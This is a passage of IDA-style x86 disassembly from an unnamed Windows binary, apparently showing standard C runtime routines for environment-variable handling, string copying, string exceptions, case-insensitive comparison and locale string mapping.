		pop	ecx
		mov	dword_4DB2D0, eax

loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB2D8, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D

loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh

loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2D0, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB2D8, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2D8, eax
		jz	short loc_42620F
		mov	[eax], edi

loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB2D0
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx

loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------

loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------

loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------

loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi

loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0

loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB2D0, eax

loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25C106Ch
		push	esi
		call	sub_41B0B1
		pop	ecx

loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB2D0
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]

loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D

loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344

loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB2D0
		sar	eax, 2
		neg	eax

loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB2D0
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB

loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1

loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx

loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi

loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------

loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC71C, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]

loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DC821[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------

loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452

loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------

loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D10o
					; ___:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------

loc_4264E2:				; DATA XREF: ___:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx

loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger

loc_426714:				; DATA XREF: ___:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger

loc_426732:				; DATA XREF: ___:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426750	proc near
		jmp	near ptr 71B2ACCBh
sub_426750	endp

; ---------------------------------------------------------------------------
		db 11h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; ___:00414BE5p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		nop
		jmp	near ptr 2870000h
sub_42675C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DB364, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]

loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h

loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h

loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------

loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]

loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2

loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi

loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------

loc_4267F7:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx

loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_426813:				; DATA XREF: ___:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------

loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 26503B5h
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------

loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DB364, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------

loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------

loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DB364
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DB5BC, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DB5BC, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------

loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CAE5C
		push	edi
		push	esi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DB5BC, 2

loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DB5BC
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		jmp	loc_426B7F
; ---------------------------------------------------------------------------

loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DB374
		mov	[ebp+arg_18], eax

loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi

loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
